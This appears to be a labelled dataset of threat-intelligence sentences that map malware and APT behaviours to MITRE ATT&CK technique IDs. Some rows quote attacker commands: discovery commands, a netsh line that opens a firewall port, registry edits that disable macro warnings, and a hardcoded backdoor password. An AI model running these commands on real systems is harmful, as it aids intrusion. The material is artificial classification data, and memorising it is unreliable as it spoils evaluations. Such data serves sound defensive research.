POWERSOURCE uses DNS TXT records for C2.,T1071.004
QUADAGENT uses DNS for C2 communications.,T1071.004
Tropic Trooper's backdoor has communicated to the C2 over the DNS protocol.,T1071.004
It is believed that a patch management system for an anti-virus product commonly installed among targeted companies was used to distribute the Wiper malware.,T1072
APT3 has been known to stage files for exfiltration in a single location.,T1074.001
Chrommme can store captured system information locally prior to exfiltration.,T1074.001
DarkWatchman can stage local data in the Windows Registry.,T1074.001
"During C0015, PowerView's file share enumeration results were stored in the file `c:\ProgramData\found_shares.txt`.",T1074.001
"""ECCENTRICBANDWAGON has stored keystrokes and screenshots within the """"%temp%\GoogleChrome"""", """"%temp%\Downloads"""", and """"%temp%\TrendMicroUpdate"""" directories.""",T1074.001
MarkiRAT can store collected data locally in a created .nfo file.,T1074.001
MuddyWater has stored a decoy PDF file within a victim's `%temp%` folder.,T1074.001
"""Mustang Panda has stored collected credential files in """"c:\windows\temp"""" prior to exfiltration. Mustang Panda has also stored documents for exfiltration in a hidden folder on USB drives.""",T1074.001
NavRAT writes multiple outputs to a TMP file using the >> method.,T1074.001
"""Pteranodon creates various subdirectories under """"%Temp%\reports\%"""" and copies files to those subdirectories. It also creates a folder at """"C:\Users\\AppData\Roaming\Microsoft\store"""" to store screenshot JPEG files.""",T1074.001
TEMP.Veles has created staging folders in directories that were infrequently used by legitimate users or processes.,T1074.001
"menuPass stages data prior to exfiltration in multi-part archives, often saved in the Recycle Bin.",T1074.001
APT29 staged data and files in password-protected archives on a victim's OWA server.,T1074.002
ccf32 has copied files to a remote machine infected with Chinoxy or another backdoor.,T1074.002
"LAPSUS$ has used compromised credentials and/or session tokens to gain access into a victim's VPN, VDI, RDP, and IAMs.",T1078
APT3 leverages valid accounts after gaining credentials for use within the victim domain.,T1078.002
TA505 has used stolen domain admin accounts to compromise additional hosts.,T1078.002
APT29 has used a compromised O365 administrator account to create a new Service Principal.,T1078.004
"APT37 collects the computer name, the BIOS model, and execution path.",T1082
AppleSeed can identify the OS version of a targeted system.,T1082
Astaroth collects the machine name and keyboard language from the system.,T1082
"BADFLICK has captured victim computer name, memory space, and CPU details.",T1082
"BLINDINGCAN has collected from a victim machine the system name, processor information, OS version, and disk information, including type and free space available.",T1082
"Babuk can enumerate disk volumes, get disk information, and query service status.",T1082
"Bazar can fingerprint architecture, computer name, and OS version on the compromised host. Bazar can also check if the Russian language is installed on the infected machine and terminate if it is found.",T1082
BlackMould can enumerate local drives on a compromised host.,T1082
"Caterpillar WebShell has a module to gather information from the compromrised asset, including the computer version, computer name, IIS version, and more.",T1082
"Darkhotel has collected the hostname, OS version, service pack version, and the processor architecture from the victim's machine.",T1082
Dridex has collected the computer name and OS architecture information from the system.,T1082
"During its initial execution, BACKSPACE extracts operating system information from the infected host.",T1082
FlawedAmmyy can collect the victim's operating system and computer name during the initial infection.,T1082
FunnyDream can enumerate all logical drives on a targeted machine.,T1082
"""Fysbis has used the command """"ls /etc | egrep -e""""fedora\|debian\|gentoo\|mandriva\|mandrake\|meego\|redhat\|lsb-\|sun-\|SUSE\|release"""""""" to determine which Linux OS version is running.""",T1082
GoldenSpy has gathered operating system information.,T1082
"HALFBAKED can obtain information about the OS, processor, and BIOS.",T1082
"""Honeybee gathers computer name and information using the """"systeminfo"""" command.""",T1082
"InvisiMole can gather information on the mapped drives, OS version, computer name, DEP policy, memory size, and system volume serial number.",T1082
"""JHUHUGIT obtains a build identifier as well as victim hard drive information from Windows registry key """"HKLM\SYSTEM\CurrentControlSet\Services\Disk\Enum"""". Another JHUHUGIT variant gathers the victim storage volume serial number and the storage device name.""",T1082
Kerrdown has the ability to determine if the compromised host is running a 32 or 64 bit OS architecture.,T1082
"Lucifer can collect the computer name, system architecture, default language, and processor frequency of a compromised host.",T1082
Machete collects the hostname of the target computer.,T1082
"""Maze has checked the language of the infected system using the """"GetUSerDefaultUILanguage"""" function.""",T1082
Micropsia gathers the hostname and OS version from the victim's machine.,T1082
MirageFox can collect CPU and architecture information from the victim's machine.,T1082
MoleNet can collect information about the about the system.,T1082
"Moses Staff collected information about the infected host, including the machine names and OS architecture.",T1082
NDiskMonitor obtains the victim computer name and encrypts the information to send over its C2 channel.,T1082
NOKKI can gather information on drives and the operating system on the victim's machine.,T1082
NanHaiShu can gather the victim computer name and serial number.,T1082
"""NavRAT uses """"systeminfo"""" on a victim's machine.""",T1082
"""OSX/Shlayer has collected the IOPlatformUUID, session UID, and the OS version using the command """"sw_vers -productVersion"""".""",T1082
"""OSX_OCEANLOTUS.D collects processor information, memory information, computer name, hardware UUID, serial number, and operating system version. OSX_OCEANLOTUS.D has used the """"ioreg"""" command to gather some of this information.""",T1082
ObliqueRAT has the ability to check for blocklisted computer names on infected endpoints.,T1082
"Octopus can collect system drive information, the computer name, the size of the disk, OS version, and OS architecture information.",T1082
"Operation Wocao has discovered the local disks attached to the system and their hardware information including manufacturer and model, as well as the OS versions of systems connected to a targeted network.",T1082
"POORAIM can identify system information, including battery status.",T1082
PinchDuke gathers system configuration information.,T1082
PingPull can retrieve the hostname of a compromised host.,T1082
"Pisloader has a command to collect victim system information, including the system name and OS version.",T1082
SHUTTERSPEED can collect system information.,T1082
"SLOTHFULMEDIA has collected system name, OS version, adapter information, memory usage, and disk information from a victim machine.",T1082
SharpStage has checked the system settings to see if Arabic is the configured language.,T1082
ShimRatReporter gathered the operating system name and specific Windows version of an infected machine.,T1082
SideCopy has identified the OS version of a compromised host.,T1082
"Sidewinder has used tools to collect the computer name, OS version, installed hotfixes, as well as information regarding the memory and processor on a compromised host.",T1082
SpicyOmelette can identify the system name of a compromised host.,T1082
"SslMM sends information to its hard-coded C2, including OS version, service pack information, processor speed, system name, and OS install date.",T1082
"SynAck gathers computer names, OS version info, and also checks installed keyboard layouts to estimate if it has been launched from a certain list of countries.",T1082
"Sys10 collects the computer name, OS versioning information, and OS install date and sends the information to the C2.",T1082
T9000 gathers and beacons the operating system build number and CPU Architecture (32-bit/64-bit) during installation.,T1082
"""TAINTEDSCRIBE can use """"DriveList"""" to retrieve drive information.""",T1082
TYPEFRAME can gather the disk volume information.,T1082
"TajMahal has the ability to identify hardware information, the computer name, and OS information on an infected host.",T1082
"TrickBot gathers the OS version, machine name, CPU type, amount of RAM available, and UEFI/BIOS firmware information from the victim's machine.",T1082
"Turian can retrieve system information including OS version, memory usage, local hostname, and system adapter information.",T1082
"""UNC2452 used """"fsutil"""" to check available free space before executing actions that might create large files on disk.""",T1082
"WarzoneRAT can collect compromised host information, including OS version, PC name, RAM size, and CPU details.",T1082
"Wizard Spider has used ""systeminfo"" and similar commands to acquire detailed configuration information of a victim machine.",T1082
ZLib has the ability to enumerate system information.,T1082
"""Zebrocy collects the OS version, computer name and serial number for the storage volume C:\. Zebrocy also runs the """"systeminfo"""" command to gather system information.""",T1082
"""yty gathers the computer name, the serial number of the main disk volume, CPU information, Microsoft Windows version, and runs the command """"systeminfo"""".""",T1082
"""APT41 has executed """"file /bin/pwd"""" on exploited victims, perhaps to return architecture related information.""",T1083
BLUELIGHT can enumerate files and collect associated metadata.,T1083
Bankshot searches for files on the victim's machine.,T1083
Bisonal can retrieve a file listing from the system.,T1083
"BlackEnergy gathers a list of installed apps from the uninstall program Registry. It also gathers registered mail, browser, and instant messaging clients from the Registry. BlackEnergy has searched for given file types.",T1083
CORALDECK searches for specified files.,T1083
Cannon can obtain victim drive information as well as a list of folders in C:\Program Files.,T1083
"""CookieMiner has looked for files in the user's home directory with """"wallet"""" in their name using """"find"""".""",T1083
CrossRAT can list all files on a system.,T1083
"During Night Dragon, threat actors used zwShell to establish full remote control of the connected machine and browse the victim file system.",T1083
ELMER is capable of performing directory listings.,T1083
FLASHFLOOD searches for interesting files (either a default or customized set of file extensions) on the local system and removable media.,T1083
Fox Kitten has used WizTree to obtain network files and directory listings.,T1083
GrimAgent has the ability to enumerate files and directories on a compromised host.,T1083
Industroyer's data wiper component enumerates specific files on all the Windows drives.,T1083
KGH_SPY can enumerate files and directories on a compromised host.,T1083
"Kazuar finds a specified directory, lists the files and metadata about those files.",T1083
Kimsuky has the ability to enumerate all files and directories on an infected system.,T1083
Kinsing has used the find command to search for specific files.,T1083
Kivars has the ability to list drives on the infected host.,T1083
Lokibot can search for specific files on an infected host.,T1083
LookBack can retrieve file listings from the victim machine.,T1083
"Mustang Panda has searched the entire target system for DOC, DOCX, PPT, PPTX, XLS, XLSX, and PDF files.",T1083
"P.A.S. Webshell has the ability to list files and file characteristics including extension, size, ownership, and permissions.",T1083
PLEAD has the ability to list drives and files on the compromised host.,T1083
PinchDuke searches for files created within a certain timeframe and whose file extension matches a predefined list.,T1083
Ryuk has enumerated files and folders on all mounted drives.,T1083
SOUNDBITE is capable of enumerating and manipulating files and directories.,T1083
SUNBURST had commands to enumerate files and directories.,T1083
Saint Bot can search a compromised host for specific files.,T1083
SideTwist has the ability to search for specific files.,T1083
SoreFang has the ability to list directories.,T1083
Trojan.Karagany can enumerate files and directories on a compromised host.,T1083
UPPERCUT has the capability to gather the victim's current directory.,T1083
WINERACK can enumerate files and directories.,T1083
ZLib has the ability to enumerate files and drives.,T1083
Zeus Panda searches for specific directories on the victim's machine.,T1083
yty gathers information on victim's drives and has a plugin for document listing.,T1083
ShimRatReporter listed all non-privileged and privileged accounts available on the machine.,T1087
"""UNC2452 obtained a list of users and their roles from an Exchange server using """"Get-ManagementRoleAssignment"""".""",T1087
Fox Kitten has accessed ntuser.dat and UserClass.dat on compromised hosts.,T1087.001
Moses Staff has collected the administrator username from a compromised host.,T1087.001
"""PowerSploit's """"Get-ProcessTokenGroup"""" Privesc-PowerUp module can enumerate all SIDs associated with its current token.""",T1087.001
SHOTPUT has a command to retrieve information about connected users.,T1087.001
"""SoreFang can collect usernames from the local system via """"net.exe user"""".""",T1087.001
"""USBferry can use """"net user"""" to gather information about local accounts.""",T1087.001
"""APT29 has used PowerShell to discover domain accounts by executing """"Get-ADUser"""" and """"Get-DGroupMember"""".""",T1087.002
"""BRONZE BUTLER has used """"net user /domain"""" to identify account information.""",T1087.002
"During Operation CuckooBees, the threat actors used the `dsquery` and `dsget` commands to get domain environment information and to query users in administrative groups.",T1087.002
Fox Kitten has used the Softerra LDAP browser to browse documentation on service accounts.,T1087.002
IcedID can query LDAP to identify additional users on the network to infect.,T1087.002
APT29 has conducted enumeration of Azure AD accounts.,T1087.004
ROADTools can enumerate Azure AD users.,T1087.004
A TYPEFRAME variant can force the compromised system to function as a proxy server.,T1090
Aria-body has the ability to use a reverse SOCKS proxy module.,T1090
Bisonal has supported use of a proxy server.,T1090
Cardinal RAT can act as a reverse proxy.,T1090
CopyKittens has used the AirVPN service for operational activity.,T1090
"""During Operation Wocao, threat actors used a custom proxy tool called """"Agent"""" which has support for multiple hops.""",T1090
Green Lambert can use proxies for C2 traffic.,T1090
"""HARDRAIN uses the command """"cmd.exe /c netsh firewall add portopening TCP 443 """"adp"""""""" and makes the victim machine function as a proxy server.""",T1090
Kessel can use a proxy during exfiltration if set in the configuration.,T1090
"""Operation Wocao has used a custom proxy tool called """"Agent"""" which has support for multiple hops.""",T1090
PLEAD has the ability to proxy network communications.,T1090
RainyDay can use proxy tools including boost_proxy_client for reverse proxy functionality.,T1090
"Sandworm Team's BCS-server tool can create an internal proxy server to redirect traffic from the adversary-controlled C2 to internal servers which may not be connected to the internet, but are interconnected locally.",T1090
Turla RPC backdoors have included local UPnP RPC proxies.,T1090
XTunnel relays traffic between a C2 server and a victim.,T1090
jRAT can serve as a SOCKS proxy server.,T1090
"APT29 has used SSH port forwarding capabilities on public-facing systems, and configured at least one instance of Cobalt Strike to use a network pipe over SMB during the 2020 SolarWinds intrusion.",T1090.001
Drovorub can use a port forwarding rule on its agent module to relay network traffic through the client module to a remote host on the same network.,T1090.001
Kazuar has used internal nodes on the compromised network for C2 communications.,T1090.001
APT39 has used various tools to proxy C2 communications.,T1090.002
Regin leveraged several compromised universities as proxies to obscure its origin.,T1090.002
ShimRat can use pre-configured HTTP proxies.,T1090.002
Attor has used Tor for C2 communication.,T1090.003
"During CostaRicto, the threat actors used a layer of proxies to manage C2 communications.",T1090.003
Keydnap uses a copy of tor2web proxy for HTTPS communications.,T1090.003
Leviathan has used multi-hop proxies to disguise the source of their malicious traffic.,T1090.003
Siloscape uses Tor to communicate with C2.,T1090.003
Mythic supports domain fronting via custom request headers.,T1090.004
meek uses Domain Fronting to disguise the destination of network traffic as another server that is hosted in the same Content Delivery Network (CDN) as the intended destination.,T1090.004
Aoqin Dragon has used a dropper that employs a worm infection strategy using a removable device to breach a secure network environment.,T1091
Part of APT28's operation involved using CHOPSTICK modules to copy itself to air-gapped machines and using files written to USB sticks to transfer data and command traffic.,T1091
Unknown Logger is capable of spreading to USB devices.,T1091
Crimson uses a custom TCP protocol for C2.,T1095
Misdat network traffic communicates over a raw socket.,T1095
PHOREAL communicates via ICMP for C2.,T1095
SUGARUSH has used TCP for C2.,T1095
ShadowPad has used UDP for C2 communications.,T1095
The Penquin C2 mechanism is based on TCP and UDP packets.,T1095
Umbreon provides access to the system via SSH or any other protocol that uses PAM to authenticate.,T1095
WarzoneRAT can communicate with its C2 server via TCP over port 5200.,T1095
Dragonfly has added newly created accounts to the administrators group to maintain elevated access.,T1098
CharmPower can download additional modules from actor-controlled Amazon S3 buckets.,T1102
"DropBook can communicate with its operators by exploiting the Simplenote, DropBox, and the social media platform, Facebook, where it can create fake accounts to control the backdoor and receive instructions.",T1102
Fox Kitten has used Amazon Web Services to host C2.,T1102
Ngrok has been used by threat actors to proxy C2 connections to ngrok service subdomains.,T1102
"Rocke has used Pastebin, Gitee, and GitLab for Command and Control.",T1102
Sibot has used a legitimate compromised website to download DLLs to the victim's machine.,T1102
BADNEWS collects C2 information via a dead drop resolver.,T1102.001
BRONZE BUTLER's MSGET downloader uses a dead drop resolver to access malicious payloads.,T1102.001
"APT37 leverages social networking sites and cloud platforms (AOL, Twitter, Yandex, Mediafire, pCloud, Dropbox, and Box) for C2.",T1102.002
"BADNEWS can use multiple C2 channels, including RSS feeds, Github, forums, and blogs.",T1102.002
BLACKCOFFEE has also obfuscated its C2 traffic as normal traffic to sites such as Github.,T1102.002
"Clambling can use Dropbox to download malicious payloads, send commands, and receive information.",T1102.002
CozyCar uses Twitter as a backup C2 channel to Twitter accounts specified in its configuration file.,T1102.002
GLOOXMAIL communicates to servers operated by Google using the Jabber/XMPP protocol.,T1102.002
Kimsuky has used Blogspot pages for C2.,T1102.002
"""PowerStallion uses Microsoft OneDrive as a C2 server via a network drive mapped with """"net use"""".""",T1102.002
"ROKRAT has used legitimate social networking sites and cloud platforms (including but not limited to Twitter, Yandex, Dropbox, and Mediafire) for C2 communications.",T1102.002
RegDuke can use Dropbox as its C2 server.,T1102.002
Revenge RAT used blogpost.com as its primary command and control server during a campaign.,T1102.002
Small Sieve has the ability to use the Telegram Bot API from Telegram Messenger to send and receive messages.,T1102.002
Twitoor uses Twitter for command and control.,T1102.002
APT-C-36 has downloaded binary data from a specified domain after the malicious document is opened.,T1105
APT18 can upload a file to the victim's machine.,T1105
APT3 has a tool that can copy files to remote machines.,T1105
APT41 used certutil to download additional files.,T1105
Amadey can download and execute files to further infect a host machine with additional malware.,T1105
Azorult can download and execute additional files. Azorult has also downloaded a ransomware payload called Hermes.,T1105
BabyShark has downloaded additional files from the C2.,T1105
Bundlore can download and execute new versions of itself.,T1105
CharmPower has the ability to download additional modules to a compromised host.,T1105
CloudDuke downloads and executes additional malware from either a Web address or a Microsoft OneDrive account.,T1105
Cobalt Strike can deliver additional payloads to victim machines.,T1105
DEATHRANSOM can download files to a compromised host.,T1105
Denis deploys additional backdoors and hacking tools to the system.,T1105
"During FunnyDream, the threat actors downloaded additional droppers and backdoors onto a compromised system.",T1105
"During Night Dragon, threat actors used administrative utilities to deliver Trojan components to remote systems.",T1105
Ecipekac can download additional payloads to a compromised host.,T1105
Elise can download additional files from the C2 server for execution.,T1105
FELIXROOT downloads and uploads files to and from the victim's machine.,T1105
Fox Kitten has downloaded additional tools including PsExec directly to endpoints.,T1105
HEXANE has downloaded additional payloads and malicious scripts onto a compromised host.,T1105
JHUHUGIT can retrieve an additional payload from its C2 server. JHUHUGIT has a command to download files to the victim's machine.,T1105
JSS Loader has the ability to download malicious executables to a compromised host.,T1105
"KARAE can upload and download files, including second-stage malware.",T1105
KGH_SPY has the ability to download and execute code from remote servers.,T1105
"Kimsuky has downloaded additional scripts, tools, and malware onto victim systems.",T1105
Koadic can download additional files and tools.,T1105
LightNeuron has the ability to download and execute additional files.,T1105
Linfo creates a backdoor through which remote attackers can download files onto compromised hosts.,T1105
Magic Hound has downloaded additional code and files from servers onto victims.,T1105
Meteor has the ability to download additional files for execution on the victim's machine.,T1105
Micropsia can download and execute an executable from the C2 server.,T1105
NanHaiShu can download additional files from URLs.,T1105
Nerex creates a backdoor through which remote attackers can download files onto a compromised host.,T1105
OopsIE can download files from its C2 server to the victim's machine.,T1105
PLEAD has the ability to upload and download files to and from an infected host.,T1105
PUNCHBUGGY can download additional files and payloads to compromised hosts.,T1105
Pandora can load additional drivers and files onto a victim machine.,T1105
Patchwork payloads download additional files from the C2 server.,T1105
PoetRAT has the ability to copy files and download/upload files into C2 channels using FTP and HTTPS.,T1105
Pteranodon can download and execute additional files.,T1105
RARSTONE downloads its backdoor component from a C2 server and loads it directly into memory.,T1105
RemoteCMD copies a file over to the remote system before execution.,T1105
Rocke used malware to download additional malicious files to the target system.,T1105
"SQLRat can make a direct SQL connection to a Microsoft database controlled by the attackers, retrieve an item from the bindata table, then write and execute the file on disk.",T1105
ShadowPad has downloaded code from a C2 server.,T1105
SoreFang can download additional payloads from C2.,T1105
Turian can download additional files and tools from its C2.,T1105
Turla has used shellcode to download Meterpreter after compromising a victim.,T1105
"UNC2452 downloaded additional tools, such as TEARDROP malware and Cobalt Strike, to the compromised host following initial compromise.",T1105
UPPERCUT can download and upload files to and from the victim's machine.,T1105
VaporRage has the ability to download malicious shellcode to compromised systems.,T1105
WEBC2 can download and execute a file.,T1105
WellMess can write files to a compromised host.,T1105
Wiarp creates a backdoor through which remote attackers can download files.,T1105
"Winnti for Linux has the ability to deploy modules directly from command and control (C2) servers, possibly for remote command execution, file exfiltration, and socks5 proxying on the infected host.",T1105
ZIRCONIUM has used tools to download malicious files to compromised hosts.,T1105
Zeus Panda can download additional malware plug-in modules and execute them on the victim's machine.,T1105
certutil can be used to download files from a given URL.,T1105
down_new has the ability to download files to the compromised host.,T1105
"""After escalating privileges, MegaCortex calls """"TerminateProcess()"""", """"CreateRemoteThread"""", and other Win32 APIs.""",T1106
BendyBear can load and execute modules and Windows Application Programming (API) calls using standard shellcode API hashing.,T1106
"""Cobalt Strike's Beacon payload is capable of running shell commands without """"cmd.exe"""" and PowerShell commands without """"powershell.exe""""""",T1106
"DCSrv has used various Windows API functions, including `DeviceIoControl`, as part of its encryption process.",T1106
"""FatDuke can call """"ShellExecuteW"""" to open the default browser on the URL localhost.""",T1106
HermeticWizard can connect to remote shares using `WNetAddConnection2W`.,T1106
KONNI has hardcoded API calls within its functions to use on the victim's machine.,T1106
LitePower can use various API calls.,T1106
"Lokibot has used LoadLibrary(), GetProcAddress() and CreateRemoteThread() API functions to execute its shellcode.",T1106
"Maze has used several Windows API functions throughout the encryption process including IsDebuggerPresent, TerminateProcess, Process32FirstW, among others.",T1106
Meteor can use `WinAPI` to remove a victim machine from an Active Directory domain.,T1106
"Misdat has used Windows APIs, including `ExitWindowsEx` and `GetKeyboardType`.",T1106
Pony has used several Windows functions for various purposes.,T1106
"""RTM can use the """"FindNextUrlCacheEntryA"""" and """"FindFirstUrlCacheEntryA"""" functions to search for specific strings within browser history.""",T1106
"""Ramsay can use Windows API functions such as """"WriteFile"""", """"CloseHandle"""", and """"GetCurrentHwProfile"""" during its collection and file storage operations. Ramsay can execute its embedded components via """"CreateProcessA"""" and """"ShellExecute"""".""",T1106
"""Ryuk has used multiple native APIs including """"ShellExecuteW"""" to run executables,""""GetWindowsDirectoryW"""" to create folders, and """"VirtualAlloc"""", """"WriteProcessMemory"""", and """"CreateRemoteThread"""" for process injection.""",T1106
"S-Type has used Windows APIs, including `GetKeyboardType`, `NetUserAdd`, and `NetUserDel`.",T1106
"Saint Bot has used different API calls, including `GetProcAddress`, `VirtualAllocEx`, `WriteProcessMemory`, `CreateProcessA`, and `SetThreadContext`.",T1106
"Silence has leveraged the Windows API, including using CreateProcess() or ShellExecute(), to perform a variety of tasks.",T1106
"""ZxShell can leverage native API including """"RegisterServiceCtrlHandler """" to register a service.RegisterServiceCtrlHandler""",T1106
"gh0st RAT has used the `InterlockedExchange`, `SeShutdownPrivilege`, and `ExitWindowsEx` Windows API functions.",T1106
DarkVishnya used brute-force attack to obtain login data.,T1110
Dragonfly has attempted to brute force credentials to gain access.,T1110
PoshC2 has modules for brute forcing local administrator and AD user accounts.,T1110
"During Operation Wocao, threat actors used a custom collection method to intercept two-factor authentication soft tokens.",T1111
Kimsuky has used a proprietary tool to intercept one time passwords required for two-factor authentication.,T1111
A Threat Group-3390 tool has created new Registry keys under `HKEY_CURRENT_USER\Software\Classes\` and `HKLM\SYSTEM\CurrentControlSet\services`.,T1112
AADInternals can modify registry keys as part of setting a new pass-through authentication agent.,T1112
APT32's backdoor has modified the Windows Registry to store the backdoor's configuration.,T1112
Chaes stored its instructions in a config file in the Registry.,T1112
"DarkWatchman can store configuration strings, keylogger, and output of components in the Registry.",T1112
Dragonfly 2.0 modified the Registry to perform multiple techniques through the use of Reg.,T1112
Dragonfly has modified the Registry to perform multiple techniques through the use of Reg.,T1112
"During Night Dragon, threat actors used zwShell to establish full remote control of the connected machine and manipulate the Registry.",T1112
FIN8 has deleted Registry keys during post compromise cleanup activities.,T1112
"""Gamaredon Group has removed security settings for VBA macro execution by changing registry values """"HKCU\Software\Microsoft\Office\&lt;version&gt;\&lt;product&gt;\Security\VBAWarnings"""" and """"HKCU\Software\Microsoft\Office\&lt;version&gt;\&lt;product&gt;\Security\AccessVBOM"""".""",T1112
KOCTOPUS has added and deleted keys from the Registry.,T1112
Lokibot has modified the Registry as part of its UAC bypass process.,T1112
Mori can write data to `HKLM\Software\NFC\IPA` and `HKLM\Software\NFC\` and delete Registry values.,T1112
Naid creates Registry entries that store information about a created service and point to a malicious DLL dropped to disk.,T1112
"""Netwalker can add the following registry entry: """"HKEY_CURRENT_USER\SOFTWARE\{8 random characters}"""".""",T1112
PcShare can delete its persistence mechanisms from the registry.,T1112
"""QakBot can store its configuration information in a randomly named subkey under """"HKCU\Software\Microsoft"""".""",T1112
RTM can delete all Registry entries created during its execution.,T1112
"""SLOTHFULMEDIA can add, modify, and/or delete registry keys. It has changed the proxy configuration of a victim system by modifying the """"HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap"""" registry.""",T1112
ShadowPad maintains a configuration block and virtual file system in the Registry.,T1112
Ursnif has used Registry modifications as part of its installation routine.,T1112
gh0st RAT has altered the InstallTime subkey.,T1112
CharmPower has the ability to capture screenshots.,T1113
Cobian RAT has a feature to perform screen capture.,T1113
ECCENTRICBANDWAGON can capture screenshots and store them locally.,T1113
FIN7 captured screenshots and desktop video recordings.,T1113
GRIFFON has used a screenshot module that can be used to take a screenshot of the remote system.,T1113
KEYMARBLE can capture screenshots of the victim's machine.,T1113
Kazuar captures screenshots of the victim's screen.,T1113
KeyBoy has a command to perform screen grabbing.,T1113
Ramsay can take screenshots every 30 seconds as well as when an external removable storage device is connected.,T1113
RedLeaves can capture screenshots.,T1113
Remcos takes automated screenshots of the infected machine.,T1113
Revenge RAT has a plugin for screen capture.,T1113
UPPERCUT can capture desktop screenshots in the PNG format and send them to the C2 server.,T1113
gh0st RAT can capture the victim's screen remotely.,T1113
"During Night Dragon, threat actors used RAT malware to exfiltrate email archives.",T1114.001
Out1 can parse e-mails on a target machine.,T1114.001
"During Operation Wocao, threat actors collected clipboard data in plaintext.",T1115
RunningRAT contains code to open and copy data from the clipboard.,T1115
Chimera has used custom DLLs for continuous retrieval of data from memory.,T1119
Comnie executes a batch script to store discovery information in %TEMP%\info.dat and then uploads the temporarily file to the remote C2 server.,T1119
Crutch can automatically monitor removable drives in a loop and copy interesting files.,T1119
"Empire can automatically gather the username, domain name, machine name, and other information from a compromised system.",T1119
Mythic supports scripting of file downloads from agents.,T1119
NETWIRE can automatically archive collected data.,T1119
Operation Wocao has used a script to collect information about the infected system.,T1119
"ShimRatReporter gathered information automatically, without instruction from a C2, related to the user and host machine that is compiled into a report and sent to the operators.",T1119
Tropic Trooper has collected information automatically using the adversary's USBferry attack.,T1119
menuPass has used the Csvde tool to collect Active Directory files and data.,T1119
DarkWatchman can list signed PnP drivers for smartcard readers.,T1120
"During Operation CuckooBees, the threat actors used the `fsutil fsinfo drives` command as part of their advanced reconnaissance.",T1120
Gamaredon Group tools have contained an application to check performance of USB flash drives. Gamaredon Group has also used malware to scan for removable drives.,T1120
Heyoka Backdoor can identify removable media attached to victim's machines.,T1120
The FunnyDream FilepakMonitor component can detect removable drive insertion.,T1120
njRAT will attempt to detect if the victim system has a camera during the initial infection. njRAT can also detect any removable drives connected to the system.,T1120
Derusbi is capable of performing audio captures.,T1123
Imminent Monitor has a remote microphone monitoring capability.,T1123
"""PowerSploit's """"Get-MicrophoneAudio"""" Exfiltration module can record system microphone audio.""",T1123
BLUELIGHT can collect the local time on a compromised host.,T1124
Crimson has the ability to determine the date and time on a compromised host.,T1124
"During Operation Wocao, threat actors used the `time` command to retrieve the current time of a compromised system.",T1124
FELIXROOT gathers the time zone information from the victim's machine.,T1124
InvisiMole gathers the local system time from the victim's machine.,T1124
MoonWind obtains the victim's current time.,T1124
"""OopsIE checks to see if the system is configured with """"Daylight"""" time and checks for a specific region to be set for the timezone.""",T1124
RTM can obtain the victim time zone.,T1124
SHARPSTATS has the ability to identify the current date and time on the compromised host.,T1124
Sidewinder has used tools to obtain the current system time.,T1124
T9000 gathers and beacons the system time during installation.,T1124
ccf32 can determine the local time on targeted machines.,T1124
Cobian RAT has a feature to access the webcam on the victim's machine.,T1125
Derusbi is capable of capturing video.,T1125
Revenge RAT has the ability to access the webcam.,T1125
Frankenstein has used MSbuild to execute an actor-created file.,T1127.001
DarkWatchman can load DLLs.,T1129
PUNCHBUGGY can load a DLL using the LoadLibrary API.,T1129
BLINDINGCAN has encoded its C2 traffic with Base64.,T1132.001
OopsIE encodes data in hexadecimal format over the C2 channel.,T1132.001
SUNBURST used Base64 encoding in its C2 traffic.,T1132.001
OceanSalt can encode data with a NOT operation before sending the data to the control server.,T1132.002
Kinsing was executed in an Ubuntu container deployed via an open Docker daemon API.,T1133
"""KillDisk has attempted to get the access token of a process by calling """"OpenProcessToken"""". If KillDisk gets the access token, then it attempt to modify the token privileges with """"AdjustTokenPrivileges"""".""",T1134
"""MegaCortex can enable """"SeDebugPrivilege"""" and adjust token privileges.""",T1134
Aria-body has the ability to duplicate a token from ntprint.exe.,T1134.001
REvil can obtain the token from the user that launched the explorer.exe process to avoid affecting the desktop of the SYSTEM user.,T1134.001
"""Empire can use """"Invoke-RunAs"""" to make tokens.""",T1134.002
Turla RPC backdoors can impersonate or steal process tokens before executing commands.,T1134.002
Clop can enumerate network shares.,T1135
DEATHRANSOM has the ability to use loop operations to enumerate network resources.,T1135
Diavol has a `ENMDSKS` command to enumerates available network shares.,T1135
"Dragonfly 2.0 identified and browsed file servers in the victim network, sometimes , viewing files pertaining to ICS or Supervisory Control and Data Acquisition (SCADA) systems.",T1135
InvisiMole can gather network share information.,T1135
MURKYTOP has the capability to retrieve information about shares on remote hosts.,T1135
OSInfo discovers shares on the network,T1135
ShimRat can enumerate connected drives for infected host machines.,T1135
Sowbug listed remote shared drives that were accessible from a victim.,T1135
Calisto has the capability to add its own account to the victim's machine.,T1136.001
"Dragonfly has created accounts on victims, including administrator accounts, some of which appeared to be tailored to each individual staging target.",T1136.001
HiddenWasp creates a user account as a means to provide initial persistence to the compromised machine.,T1136.001
"S-Type may create a temporary user on the system named `Lost_{Unique Identifier}` with the password `pond~!@6""{Unique Identifier}`.",T1136.001
Empire has a module for creating a new domain user if permissions allow.,T1136.002
LAPSUS$ has created global admin accounts in the targeted organization's cloud instances to gain persistence.,T1136.003
Ruler can be used to automate the abuse of Outlook Forms to establish persistence.,T1137.003
Ruler can be used to automate the abuse of Outlook Rules to establish persistence.,T1137.005
AppleJeus has decoded files received from a C2.,T1140
Avenger has the ability to decrypt files downloaded from C2.,T1140
BOOSTWRITE has used a a 32-byte long multi-XOR key to decode data inside its payload.,T1140
ComRAT has used unique per machine passwords to decrypt the orchestrator payload and a hardcoded XOR key to decrypt its communications module. ComRAT has also used a unique password to decrypt the file used for its hidden file system.,T1140
Conti has decrypted its payload using a hardcoded AES-256 key.,T1140
DropBook can unarchive data downloaded from the C2 to obtain the payload and persistence modules.,T1140
EnvyScout can deobfuscate and write malicious ISO files to disk.,T1140
FYAnti has the ability to decrypt an embedded .NET module.,T1140
FoggyWeb can be decrypted in memory using a Lightweight Encryption Algorithm (LEA)-128 key and decoded using a XOR key.,T1140
"Frankenstein has deobfuscated base64-encoded commands following the execution of a malicious script, which revealed a small script designed to obtain an additional payload.",T1140
Gamaredon Group tools decrypted additional payloads from the C2. Gamaredon Group has also decoded base64-encoded source code of a downloader.,T1140
Gorgon Group malware can decode contents from a payload that was Base64 encoded and write the contents to a file.,T1140
Grandoreiro can decrypt its encrypted internal strings.,T1140
HiddenWasp uses a cipher to implement a decoding function.,T1140
Higaisa used certutil to decode Base64 binaries at runtime and a 16-byte XOR key to decrypt data.,T1140
HyperBro can unpack and decrypt its payload prior to execution.,T1140
"""ISMInjector uses the """"certutil"""" command to decode a payload file.""",T1140
